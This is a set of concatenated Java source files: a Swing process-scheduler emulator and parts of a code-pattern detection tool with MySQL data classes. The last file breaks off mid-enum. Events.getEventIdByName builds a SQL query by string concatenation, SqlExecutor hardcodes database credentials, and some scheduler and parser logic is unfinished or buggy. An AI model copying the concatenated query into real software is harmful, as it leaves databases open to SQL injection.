private JTable jobTable;
private TableColumn jobTypeCol;
private TableColumn progressCol;
private JComboBox cmbJobType;
private JSlider runSpeed;
private Random random = new Random(1000);
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager
.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
ProcessSchedulerGUI frame = new ProcessSchedulerGUI();
frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the frame.
*/
public ProcessSchedulerGUI() {
setTitle("Multi-level Queue Emulator");
setIconImage(Toolkit.getDefaultToolkit().getImage(
ProcessSchedulerGUI.class.getResource("/icons/mlfqs-32.png")));
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setBounds(100, 100, 678, 477);
contentPane = new JPanel();
contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
contentPane.setLayout(new BorderLayout(0, 0));
setContentPane(contentPane);
{
panelToolbar = new JPanel();
panelToolbar.setName("panelToolbar");
contentPane.add(panelToolbar, BorderLayout.NORTH);
{
{
btnOpen = new JButton("");
btnOpen.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
OSTableModel.openFile();
enableComponents();
try {
tableInit();
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
});
btnNew = new JButton("");
btnNew.setBorder(new EmptyBorder(4, 4, 4, 4));
btnNew.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
OSTableModel.newFile();
enableComponents();
try {
tableInit();
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
});
btnNew.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/new.png")));
btnNew.setName("btnNew");
btnOpen.setBorder(new EmptyBorder(4, 4, 4, 4));
btnOpen.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/open.png")));
btnOpen.setName("btnOpen");
}
{
btnSave = new JButton("");
btnSave.setEnabled(false);
btnSave.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try {
OSTableModel.saveToFile();
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} catch (Throwable e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
});
btnSave.setBorder(new EmptyBorder(4, 4, 4, 4));
btnSave.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/save.png")));
btnSave.setName("btnSave");
}
{
btnNewjob = new JButton("");
btnNewjob.setEnabled(false);
btnNewjob.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
// TODO newJob();
newJob();
}
});
btnNewjob.setBorder(new EmptyBorder(4, 4, 4, 4));
btnNewjob.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/new-process.png")));
btnNewjob.setName("btnNewjob");
}
{
btnDeljob = new JButton("");
btnDeljob.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
OSTableModel.delJob(jobTable.getSelectedRow());
jobTable.repaint();
}
});
btnDeljob.setEnabled(false);
btnDeljob.setBorder(new EmptyBorder(4, 4, 4, 4));
btnDeljob.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/del-process.png")));
btnDeljob.setName("btnDeljob");
}
{
btnGenjob = new JButton("");
btnGenjob.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
// TODO generateJob();
randomJob();
}
});
btnGenjob.setEnabled(false);
btnGenjob.setBorder(new EmptyBorder(4, 4, 4, 4));
btnGenjob.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/rand.png")));
btnGenjob.setName("btnGenjob");
}
{
btnRun = new JButton("");
btnRun.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
disableComponents();
progressBar
.setMaximum(ProcessScheduler.globalProgressTotal);
ProcessScheduler.runProcessScheduler();
}
});
btnRun.setEnabled(false);
btnRun.setBorder(new EmptyBorder(4, 4, 4, 4));
btnRun.setIcon(new ImageIcon(ProcessSchedulerGUI.class
.getResource("/icons/play.png")));
btnRun.setName("btnRun");
}
}
separator = new JSeparator();
separator.setOrientation(SwingConstants.VERTICAL);
separator.setName("separator");
separator_1 = new JSeparator();
separator_1.setOrientation(SwingConstants.VERTICAL);
separator_1.setName("separator");
ToolTipManager.sharedInstance().setInitialDelay(0);
ToolTipManager.sharedInstance().setReshowDelay(0);
runSpeed = new JSlider();
runSpeed.setEnabled(false);
runSpeed.addMouseWheelListener(new MouseWheelListener() {
public void mouseWheelMoved(MouseWheelEvent e) {
if (e.getWheelRotation() > 0)
runSpeed.setValue(runSpeed.getValue() - 50);
else
runSpeed.setValue(runSpeed.getValue() + 50);
}
});
runSpeed.setSnapToTicks(true);
runSpeed.addChangeListener(new ChangeListener() {
public void stateChanged(ChangeEvent e) {
runSpeed.setToolTipText(String.valueOf(runSpeed.getValue())
+ " ms");
}
});
runSpeed.setFont(new Font("SansSerif", Font.PLAIN, 8));
runSpeed.setPaintTicks(true);
runSpeed.setValue(100);
runSpeed.setPaintLabels(true);
runSpeed.setMaximum(1000);
runSpeed.setLabelTable(runSpeed.createStandardLabels(200));
runSpeed.setName("runSpeed");
GroupLayout gl_panelToolbar = new GroupLayout(panelToolbar);
gl_panelToolbar
.setHorizontalGroup(gl_panelToolbar.createParallelGroup(
Alignment.LEADING)
.addGroup(
gl_panelToolbar
.createSequentialGroup()
.addComponent(btnNew)
.addGap(1)
.addComponent(btnOpen)
.addGap(1)
.addComponent(btnSave)
.addGap(1)
.addComponent(separator,
GroupLayout.PREFERRED_SIZE,
4,
GroupLayout.PREFERRED_SIZE)
.addGap(1)
.addComponent(btnNewjob)
.addGap(1)
.addComponent(btnDeljob)
.addGap(1)
.addComponent(btnGenjob)
.addGap(1)
.addComponent(separator_1,
GroupLayout.PREFERRED_SIZE,
4,
GroupLayout.PREFERRED_SIZE)
.addGap(1)
.addComponent(btnRun)
.addPreferredGap(
ComponentPlacement.RELATED)
.addComponent(runSpeed,
GroupLayout.PREFERRED_SIZE,
GroupLayout.DEFAULT_SIZE,
GroupLayout.PREFERRED_SIZE)
.addGap(150)));
gl_panelToolbar
.setVerticalGroup(gl_panelToolbar
.createParallelGroup(Alignment.LEADING)
.addGroup(
gl_panelToolbar
.createSequentialGroup()
.addGroup(
gl_panelToolbar
.createParallelGroup(
Alignment.TRAILING,
false)
.addComponent(
runSpeed,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
btnDeljob,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
btnGenjob,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
btnNew,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
btnOpen,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
btnSave,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
separator,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
40,
Short.MAX_VALUE)
.addComponent(
btnNewjob,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(
separator_1,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
40,
Short.MAX_VALUE)
.addComponent(
btnRun,
Alignment.LEADING,
GroupLayout.DEFAULT_SIZE,
GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))
.addContainerGap()));
panelToolbar.setLayout(gl_panelToolbar);
}
{
panelCharts = new JPanel();
panelCharts.setName("panelCharts");
contentPane.add(panelCharts, BorderLayout.SOUTH);
panelCharts.setLayout(new BorderLayout(0, 0));
{
progressBar = new JProgressBar();
progressBar.setPreferredSize(new Dimension(150, 35));
progressBar.setMaximumSize(new Dimension(32767, 35));
progressBar.setBounds(new Rectangle(0, 0, 0, 35));
progressBar.setMinimumSize(new Dimension(10, 35));
progressBar.setName("progressBar");
panelCharts.add(progressBar);
}
{
panelGanttChart = new JPanel();
panelGanttChart.setName("panelGanttChart");
panelCharts.add(panelGanttChart, BorderLayout.NORTH);
}
}
{
cmbJobType = new JComboBox(Job.jobType);
scrollPane = new JScrollPane();
scrollPane.setName("scrollPane");
contentPane.add(scrollPane, BorderLayout.CENTER);
}
}
protected void newJob() {
OSTableModel.makeVectorValues("job", 0, 0, 0, 0, 0);
jobTable.repaint();
scrollPane.setViewportView(jobTable);
}
protected void randomJob() {
OSTableModel.makeVectorValues("Job" + random.nextInt(100),
random.nextInt(20), random.nextInt(100), random.nextInt(3), 0,
0);
jobTable.repaint();
scrollPane.setViewportView(jobTable);
}
private void tableInit() throws FileNotFoundException {
jobTable = new JTable();
jobTable.setModel(new OSTableModel());
jobTable.getColumnModel().getColumn(6).setPreferredWidth(239);
jobTypeCol = jobTable.getColumnModel().getColumn(3);
jobTypeCol.setCellEditor(new ComboBoxCellEditor(cmbJobType));
jobTypeCol.setCellRenderer(new ComboTableCellRenderer());
progressCol = jobTable.getColumnModel().getColumn(6);
progressCol.setCellRenderer(new ProgressRenderer(0, 100));
jobTable.setName("jobTable");
jobTable.setFillsViewportHeight(true);
scrollPane.setViewportView(jobTable);
}
protected void enableComponents() {
btnSave.setEnabled(true);
btnNewjob.setEnabled(true);
btnGenjob.setEnabled(true);
btnDeljob.setEnabled(true);
btnRun.setEnabled(true);
runSpeed.setEnabled(true);
}
protected void disableComponents() {
btnSave.setEnabled(false);
btnNewjob.setEnabled(false);
btnGenjob.setEnabled(false);
btnDeljob.setEnabled(false);
btnRun.setEnabled(false);
}
}
| Java |
package operating.system;
import java.awt.Component;
import javax.swing.*;
import javax.swing.table.DefaultTableCellRenderer;
import javax.swing.table.TableCellRenderer;
@SuppressWarnings("serial")
class ComboTableCellRenderer extends DefaultTableCellRenderer implements
ListCellRenderer, TableCellRenderer {
DefaultListCellRenderer listRenderer = new DefaultListCellRenderer();
DefaultTableCellRenderer tableRenderer = new DefaultTableCellRenderer();
public ComboTableCellRenderer() {
setHorizontalAlignment(SwingConstants.CENTER);
}
private void configureRenderer(JLabel renderer, Object value) {
if ((value != null) && (value instanceof Integer)) {
renderer.setText(Job.jobType[(Integer) value]);
}
}
public Component getListCellRendererComponent(JList list, Object value,
int index, boolean isSelected, boolean cellHasFocus) {
listRenderer = (DefaultListCellRenderer) listRenderer
.getListCellRendererComponent(list, value, index, isSelected,
cellHasFocus);
configureRenderer(listRenderer, value);
return listRenderer;
}
public Component getTableCellRendererComponent(JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column) {
tableRenderer = (DefaultTableCellRenderer) tableRenderer
.getTableCellRendererComponent(table, value, isSelected,
hasFocus, row, column);
configureRenderer(tableRenderer, value);
return tableRenderer;
}
}
| Java |
package operating.system;
import java.awt.FileDialog;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.table.AbstractTableModel;
public class OSTableModel extends AbstractTableModel {
private static final long serialVersionUID = -7180079213856043342L;
// JobType[] customjobType = { new JobType("FCFS"), new JobType("SJF"),
// new JobType("RR") };
@SuppressWarnings("unused")
private static boolean isFileLoaded;
private static String key = "ProcessSchedulerFile";
private static String filepath;
// @SuppressWarnings({ "rawtypes", "unused" })
// private Vector<Vector> introwData = new Vector<Vector>();
String[] columnHeader = { "Job Name", "Start Time", "Burst Time",
"Job Type", "Priority", "Quantum", "Progress" };
@SuppressWarnings("rawtypes")
Class[] columnTypes = new Class[] { String.class, Integer.class,
Integer.class, Integer.class, Integer.class, Integer.class,
Progress.class };
@SuppressWarnings("rawtypes")
static Vector<Vector> rowData = new Vector<Vector>();
public OSTableModel() throws FileNotFoundException {
File data = new File(filepath);
setTableValues(data);
}
public int getRowCount() {
return rowData.size();
}
public int getColumnCount() {
return columnHeader.length;
}
public String getColumnName(int x) {
return columnHeader[x];
}
public boolean isCellEditable(int r, int c) {
return true;
}
@SuppressWarnings({ "unchecked", "rawtypes" })
public Class getColumnClass(int columnIndex) {
return columnTypes[columnIndex];
}
@SuppressWarnings("unchecked")
public void setValueAt(Object value, int rowIndex, int columnIndex) {
if (columnIndex == 3)
for (int i = 0; i < 3; i++)
if (value.equals(Job.jobType[i]))
(rowData.elementAt(rowIndex)).setElementAt(i, columnIndex);
(rowData.elementAt(rowIndex)).setElementAt(value, columnIndex);
}
public Object getValueAt(int rowIndex, int columnIndex) {
return (rowData.elementAt(rowIndex)).elementAt(columnIndex);
}
private void setTableValues(File data) throws FileNotFoundException {
// TODO Auto-generated method stub
Scanner scanme = new Scanner(new FileReader(data));
scanme.nextLine();
while (scanme.hasNext()) {
makeVectorValues(scanme.next(), scanme.nextInt(), scanme.nextInt(),
scanme.nextInt(), scanme.nextInt(), scanme.nextInt());
}
fireTableDataChanged();
}
@SuppressWarnings("unchecked")
public static void makeVectorValues(String name, int st, int bt, int jt,
int pr, int ts) {
List<? extends Object> asList = Arrays.asList(name, String.valueOf(st),
String.valueOf(bt), jt, String.valueOf(pr), String.valueOf(ts),
0);
Vector<Object> tempVector1 = new Vector<Object>(asList);
rowData.add(tempVector1);
}
@SuppressWarnings("rawtypes")
protected static void newFile() {
rowData = new Vector<Vector>();
FileDialog dialogNew = new FileDialog(new JFrame(),
"Create New Job List");
dialogNew.setMode(FileDialog.SAVE);
dialogNew.setVisible(true);
isFileLoaded = false;
try {
if (!dialogNew.getFile().equals("")) {
String outfile = dialogNew.getFile();
File inputFile = new File(dialogNew.getDirectory() + outfile);
filepath = new String(dialogNew.getDirectory() + outfile);
signFile(inputFile);
isFileLoaded = true;
} else
isFileLoaded = false;
} catch (Exception f) {
System.out.println(f.getMessage());
}// end try-catch
}
public static void signFile(File inputFile) throws FileNotFoundException {
PrintWriter pwOutStream = new PrintWriter(inputFile);
pwOutStream.print(key + "\n");
pwOutStream.println("defaultJob 0 10 1 0 0");
pwOutStream.flush();
pwOutStream.close();
}
@SuppressWarnings("rawtypes")
protected static void openFile() {
rowData = new Vector<Vector>();
FileDialog dialog = new FileDialog(new JFrame(),
"Open an Existing Job List");
File inputFile = null;
isFileLoaded = false;
dialog.setMode(FileDialog.LOAD);
dialog.setVisible(true);
// start try-catch on inputFile opening
try {
if (!dialog.getFile().equals("")) {
inputFile = new File(dialog.getDirectory() + dialog.getFile());
filepath = new String(dialog.getDirectory() + dialog.getFile());
if (isPISFile(inputFile))
isFileLoaded = true;
else
isFileLoaded = false;
}// end if
}
catch (Exception x) {
JOptionPane.showMessageDialog(null,
"Invalid File! Open a valid Job List.", "Invalid File",
JOptionPane.ERROR_MESSAGE);
isFileLoaded = false;
System.out.println(x.getMessage());
}// end try-catch
}
protected static void saveToFile() throws Throwable {
// TODO Auto-generated method stub
FileWriter writer = new FileWriter(new File(filepath));
writer.write(key + "\n");
for (int j = 0; j < rowData.size(); j++)
writer.write("" + (rowData.elementAt(j)).elementAt(0) + " "
+ (rowData.elementAt(j)).elementAt(1) + " "
+ (rowData.elementAt(j)).elementAt(2) + " "
+ (rowData.elementAt(j)).elementAt(3) + " "
+ (rowData.elementAt(j)).elementAt(4) + " "
+ (rowData.elementAt(j)).elementAt(5) + "\n");
writer.flush();
writer.close();
}
private static boolean isPISFile(File inputFile)
throws FileNotFoundException {
Scanner fileTestRead = new Scanner(new FileReader(inputFile));
if (!fileTestRead.next().equals(key)) {
JOptionPane.showMessageDialog(null,
"Invalid File! Open a valid Job List.");
fileTestRead.close();
return false;
}
fileTestRead.close();
return true;
}
public static void delJob(int selectedRows) {
rowData.removeElementAt(selectedRows);
}
} | Java |
package operating.system;
import java.util.PriorityQueue;
import java.util.Vector;
public class ProcessScheduler {
public static int globalProgressTotal;
@SuppressWarnings("rawtypes")
private static Vector<Vector> jobProcess = OSTableModel.rowData;
private static PriorityQueue<Job> processQueue;
// private static Stack<Object> processStack = null;
private static Job[] jobs;
public static void runProcessScheduler() {
determineGlobalTime();
makeJobObjects();
sortByStarttime();
sortProcessess();
}
private static void sortByStarttime() {
// TODO actual MLQ algorithm
int monitorBurst = 0;
for (int j = 0; j < jobs.length; j++) {
for (int k = 0; k < jobs.length - (j + 1); k++) {
if (jobs[k].getPriority() > jobs[k + 1].getPriority()) {
Job temp = jobs[k];
jobs[k] = jobs[k + 1];
jobs[k + 1] = temp;
}
// monitorBurst += jobs[k].getBursttime();
if (jobs[k].getStarttime() > jobs[k + 1].getStarttime())
if (monitorBurst <= jobs[k].getBursttime()) {
Job temp = jobs[k];
jobs[k] = jobs[k + 1];
jobs[k + 1] = temp;
}
monitorBurst += jobs[k].getBursttime();
}
// monitorBurst += jobs[j].getBursttime();
}
for (int t = 0; t < jobs.length; t++)
System.out.print(jobs[t].getName() + " " + jobs[t].getStarttime()
+ " " + jobs[t].getBursttime() + " "
+ jobs[t].getPriority() + "\n");
}
private static void makeJobObjects() {
jobs = new Job[jobProcess.size()];
for (int j = 0; j < jobProcess.size(); j++)
jobs[j] = new Job(String.valueOf((jobProcess.elementAt(j))
.elementAt(0)), Integer.valueOf(String.valueOf((jobProcess
.elementAt(j)).elementAt(1))), Integer.valueOf(String
.valueOf((jobProcess.elementAt(j)).elementAt(2))),
Integer.valueOf(String.valueOf((jobProcess.elementAt(j))
.elementAt(3))), Integer.valueOf(String
.valueOf((jobProcess.elementAt(j)).elementAt(4))),
Integer.valueOf(String.valueOf((jobProcess.elementAt(j))
.elementAt(5))));
}
private static void sortProcessess() {
processQueue = new PriorityQueue<Job>();
// processQueue.addAll(jobs);
while (!processQueue.isEmpty())
System.out.print((processQueue.poll()).getName() + " ");
}
// private synchronized static void process(Job job, int j) {
// // TODO Auto-generated method stub
// if(processQueue.isEmpty())
// processQueue.
// if(job.getStarttime() > ((Job)processQueue.peek()).getStarttime());
//
//
// }
private static void determineGlobalTime() {
for (int i = 0; i < jobProcess.size(); i++)
globalProgressTotal += Integer.parseInt(String.valueOf((jobProcess
.elementAt(i)).elementAt(2)));
}
}
| Java |
package operating.system;
public class Job {
final static int FCFS = 1;
final static int SJF = 2;
final static int RR = 3;
final static String[] jobType = { "FCFS", "SJF", "RR" };
private String name;
private int starttime;
private int bursttime;
private int jobtype;
private int priority;
private int timeslice;
private boolean isProcessed;
private int progressTime;
public Job() {
setName("Job " + (int) Math.random() * 10000);
setStarttime(0);
setBursttime(1);
setJobtype(FCFS);
setPriority(0);
setProcessed(false);
setProgressTime(0);
}
public Job(String name, int starttime, int bursttime, int jobtype,
int priority, int timeslice) {
setName(name);
setStarttime(starttime);
setBursttime(bursttime);
setJobtype(jobtype);
setPriority(priority);
setTimeslice(timeslice);
setProcessed(false);
setProgressTime(0);
}
/**
* @return the name
*/
public String getName() {
return name;
}
/**
* @param name
* the name to set
*/
public void setName(String name) {
this.name = name;
}
/**
* @return the starttime
*/
public int getStarttime() {
return starttime;
}
/**
* @param starttime
* the starttime to set
*/
public void setStarttime(int starttime) {
this.starttime = starttime;
}
/**
* @return the bursttime
*/
public int getBursttime() {
return bursttime;
}
/**
* @param bursttime
* the bursttime to set
*/
public void setBursttime(int bursttime) {
this.bursttime = bursttime;
}
/**
* @return the jobtype
*/
public int getJobtype() {
return jobtype;
}
/**
* @param jobtype
* the jobtype to set
*/
public void setJobtype(int jobtype) {
this.jobtype = jobtype;
}
/**
* @return the priority
*/
public int getPriority() {
return priority;
}
/**
* @param priority
* the priority to set
*/
public void setPriority(int priority) {
this.priority = priority;
}
/**
* @return the isProcessed
*/
public boolean isProcessed() {
return isProcessed;
}
/**
* @param isProcessed
* the isProcessed to set
*/
public void setProcessed(boolean isProcessed) {
this.isProcessed = isProcessed;
}
/**
* @return the timeslice
*/
public int getTimeslice() {
return timeslice;
}
/**
* @param timeslice
* the timeslice to set
*/
public void setTimeslice(int timeslice) {
this.timeslice = timeslice;
}
public int getProgressTime() {
return progressTime;
}
public void setProgressTime(int progressTime) {
this.progressTime = progressTime;
}
public void increaseProgress() {
this.progressTime += 1;
}
public void decreasePriority() {
this.priority -= 1;
}
}
| Java |
package operating.system;
public class Progress {
private int progress;
private int max;
public Progress() {
this(0, 100);
}
public Progress(int p, int m) {
setProgress(p);
setMax(m);
}
public void setProgress(int p) {
progress = p;
}
public void setMax(int m) {
max = m;
}
public int getProgress() {
return progress;
}
public int getMax() {
return max;
}
/*
* (non-Javadoc)
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return "Progress [progress=" + progress + "]";
}
}
| Java |
package data;
import java.sql.ResultSet;
import java.sql.SQLException;
public class MethodsEvents {
public int method_id=0;
public int event_id=0;
public MethodsEvents(int _method_id,int _event_id){
method_id = _method_id;
event_id = _event_id;
}
public static MethodsEvents[] fromResultSet(ResultSet rs){
try {
rs.last();
int count=rs.getRow();
int index=0;
MethodsEvents[] mes=new MethodsEvents[count];
rs.beforeFirst();
while(rs.next()){
mes[index]=new MethodsEvents((Integer)rs.getObject(1),(Integer)rs.getObject(2));
index++;
}
return mes;
}
catch (SQLException e) {
e.printStackTrace();
return new MethodsEvents[0];
}
}
}
| Java |
package data;
import java.sql.ResultSet;
import java.sql.SQLException;
public class Methods {
public int id=0;
public int project_id=0;
public String name="";
public String location="";
public Methods(int _id,int _project_id,String _name,String _location){
id=_id;
project_id=_project_id;
name=_name;
location=_location;
}
public static Methods[] fromResultSet(ResultSet rs){
try {
rs.last();
int count=rs.getRow();
int index=0;
Methods[] methods=new Methods[count];
rs.beforeFirst();
while(rs.next()){
methods[index]=new Methods(
(Integer)rs.getObject(1),
(Integer)rs.getObject(2),
(String)rs.getObject(3),
(String)rs.getObject(4));
index++;
}
return methods;
}
catch (SQLException e) {
e.printStackTrace();
return new Methods[0];
}
}
}
| Java |
package data;
import java.sql.*;
import sql.SqlExecutor;
public class Events {
public int id=0;
public String name="";
public Events(int _id,String _name){
id = _id;
name = _name;
}
public static Events[] fromResultSet(ResultSet rs){
try {
rs.last();
int count=rs.getRow();
int index=0;
Events[] events=new Events[count];
rs.beforeFirst();
while(rs.next()){
events[index]=new Events((Integer)rs.getObject(1),(String)rs.getObject(2));
index++;
}
return events;
}
catch (SQLException e){
e.printStackTrace();
return new Events[0];
}
}
public static int getEventIdByName(String eventName){
System.out.println("eventName="+eventName);
String sql="select id,name from Events where name=\""+eventName+"\"";
ResultSet rs=SqlExecutor.executeQuery(sql);
Events[] e=Events.fromResultSet(rs);
SqlExecutor.closeResultSet(rs);
if(e.length==0){
return -1;
}
return e[0].id;
}
public static String getEventNameById(int eventId){
String sql="select id,name from Events where id="+eventId;
ResultSet rs=SqlExecutor.executeQuery(sql);
Events[] e=Events.fromResultSet(rs);
SqlExecutor.closeResultSet(rs);
if(e.length==0){
return "";
}
return e[0].name;
}
}
| Java |
package data;
public class Projects {
public int id=0;
public String file_name="";
public String project_name="";
}
| Java |
package sql;
import java.sql.*;
public class SqlExecutor {
static String user = "dev";
static String password = "develop";
static String url = "jdbc:mysql://localhost:3306/gentoo";
static String driver = "com.mysql.jdbc.Driver";
static Connection conn=null;
static{
init();
}
public static void init(){
try{
Class.forName(driver);
conn = DriverManager.getConnection(url, user, password);
}
catch(Exception ex){
ex.printStackTrace();
System.exit(0);
}
}
public static void dispose(){
try {
if(!conn.isClosed()){
conn.close();
conn = null;
}
}
catch (SQLException e) {
e.printStackTrace();
}
}
public static ResultSet executeQuery(String sql){
Statement stmt=null;
ResultSet rs=null;
try {
System.out.println("execute: "+sql);
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
//stmt.close();
} catch (SQLException e) {
e.printStackTrace();
}
return rs;
}
public static int executeUpdate(String sql){
Statement stmt=null;
int count=0;
try {
stmt = conn.createStatement();
count = stmt.executeUpdate(sql);
}
catch (SQLException e) {
e.printStackTrace();
}
return count;
}
public static void closeResultSet(ResultSet rs){
try {
rs.close();
} catch (SQLException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
| Java |
package detect.parse.pattern;
import detect.parse.tree.*;
public class MethodsPattern {
public static int INNER_CALL=0;
public static int SEQUENCE_CALL=1;
public static int ITERATE_CALL=2;
public static int RETURN_VAR=3;
public int type=SEQUENCE_CALL;
public int argPos=-1;
public FunctionCallExpression left_fun_exp=null;
public FunctionCallExpression right_fun_exp=null;
public MethodsPattern(FunctionCallExpression _left_fun_exp,FunctionCallExpression _right_fun_exp,int _type){
left_fun_exp=_left_fun_exp;
right_fun_exp=_right_fun_exp;
}
public void setPatternType(int _type){
type=_type;
}
public void setReturnArgPos(int _argPos){
type=RETURN_VAR;
argPos=_argPos;
}
@Override
public String toString(){
if(type==RETURN_VAR){
return left_fun_exp.toString()+"@-1"+" < "+right_fun_exp.toString()+"@"+argPos;
}
else{
return left_fun_exp.toString()+"@1"+" < "+right_fun_exp.toString()+"@1";
}
}
@Override
public int hashCode(){
int left_hash=left_fun_exp.hashCode();
int right_hash=right_fun_exp.hashCode();
return left_hash<<4 + right_hash;
}
@Override
public boolean equals(Object obj){
if(obj instanceof MethodsPattern){
MethodsPattern pattern=(MethodsPattern)obj;
return left_fun_exp.equals(pattern.left_fun_exp) &&
right_fun_exp.equals(pattern.right_fun_exp);
}
return false;
}
}
| Java |
package detect.parse;
import java.util.*;
import data.MethodsConstraints;
public class ParseResult {
public ParseResult(String _funName,
String _funBinSeq,
MethodsConstraints[] _mcs,
HashMap<String, Integer> _eventNameMap,
HashMap<Integer, String> _eventIdMap) {
funName=_funName;
funBinSeq=_funBinSeq;
mcs=_mcs;
eventNameMap=_eventNameMap;
eventIdMap=_eventIdMap;
}
@Override
public String toString(){
return funName+":"+funBinSeq;
}
public String funName=null;
public String funBinSeq=null;
public MethodsConstraints[] mcs=null;
public HashMap<String,Integer> eventNameMap=new HashMap<String,Integer>();
public HashMap<Integer,String> eventIdMap=new HashMap<Integer,String>();
}
| Java |
package detect.parse.tree;
import detect.Log;
import detect.parse.tree.token.RawTokenType;
import detect.parse.tree.token.TokenList;
public class CaseExpression extends Expression{
public Expression targetValueExp=null;
public BlockExpression caseBlockExp=null;
public TreeType getType(){
return TreeType.CaseType;
}
public CaseExpression(){
}
@Override
public void findInnerPatterns(){
caseBlockExp.findInnerPatterns();
patterns=caseBlockExp.patterns;
}
public CaseExpression(TokenList _tokenList,Expression _targetValueExp,BlockExpression _caseBlockExp){
tokenList=_tokenList;
targetValueExp=_targetValueExp;
caseBlockExp=_caseBlockExp;
}
@Override
public Expression getExpression(TokenList _tokenList){
tokenList=_tokenList;
Log.incIndence();
Log.printTree(this.getType().toString());
int colonPos=tokenList.indexOf(RawTokenType.COLON);
if(colonPos==-1){
Log.error("no ':' found after 'case'",tokenList.toString());
return null;
}
TokenList targetValueTokenList=tokenList.subList(1, colonPos);
TokenList caseBodyTokenList=tokenList.subList(colonPos+1);
Expression _targetValueExp=ExpressionFactory.expInstance.getExpression(targetValueTokenList);
Expression _caseBlockExp=ExpressionFactory.blockExpInstance.getExpression(caseBodyTokenList);
Log.decIndence();
return new CaseExpression(_tokenList,_targetValueExp,(BlockExpression)_caseBlockExp);
}
}
| Java |
package detect.parse.tree;
import java.util.*;
import detect.parse.tree.token.PositionString;
public class FunctionCallManager {
static HashMap<String,List<FunctionCallExpression>> returnVarMap=new HashMap<String,List<FunctionCallExpression>>();
static HashMap<String,HashMap<FunctionCallExpression,Integer>> argMap=new HashMap<String,HashMap<FunctionCallExpression,Integer>>();
static List<FunctionCallExpression> emptyFunCallList=new ArrayList<FunctionCallExpression>();
static HashMap<FunctionCallExpression,Integer> emptyFunCallMap=new HashMap<FunctionCallExpression,Integer>();
public static Set<Map.Entry<String, List<FunctionCallExpression>>> returnVarEntrySet(){
return returnVarMap.entrySet();
}
public static Set<Map.Entry<String, HashMap<FunctionCallExpression,Integer>>> argMapEntrySet(){
return argMap.entrySet();
}
public static void putFunction(Expression exp){
if(exp.getType()!=TreeType.FunctionCallType){
return;
}
FunctionCallExpression funCallExp=(FunctionCallExpression)exp;
PositionString returnVar=funCallExp.returnVar;
List<Expression> argExpList=funCallExp.argExpList;
if(returnVar!=null && returnVar.str!=null && returnVar.str.length()>0){
putReturnVarFunction(returnVar.str,funCallExp);
}
for(int i=0;i<argExpList.size();i++){
putArgFunction(argExpList.get(i).toString(),funCallExp,i+1);
}
}
public static void putReturnVarFunction(String returnVar,FunctionCallExpression funCallExp){
List<FunctionCallExpression> list=returnVarMap.get(returnVar);
if(list==null){
list=new ArrayList<FunctionCallExpression>(2);
}
list.add(funCallExp);
}
public static void putArgFunction(String arg,FunctionCallExpression funCallExp,int argPos){//argPos=1,2,3...
HashMap<FunctionCallExpression,Integer> map=argMap.get(arg);
if(map==null){
map=new HashMap<FunctionCallExpression,Integer>();
}
map.put(funCallExp,argPos);
}
public static List<FunctionCallExpression> getReturnVarFunctionList(String returnVar){
List<FunctionCallExpression> list=returnVarMap.get(returnVar);
if(list!=null){
return list;
}
return emptyFunCallList;
}
public static HashMap<FunctionCallExpression,Integer> getArgFunctionMap(String arg){
HashMap<FunctionCallExpression,Integer> map=argMap.get(arg);
if(map!=null){
return map;
}
return emptyFunCallMap;
}
}
| Java |
package detect.parse.tree;
public enum TreeType {
ExpressionType("Expression"),
PlainType("Plain"),
ConditionType("Condition"),
BlockType("Block"),
ForType("For"),
WhileType("While"),
DoWhileType("DoWhile"),
SwitchCaseType("SwitchCase"),
CaseType("Case"),
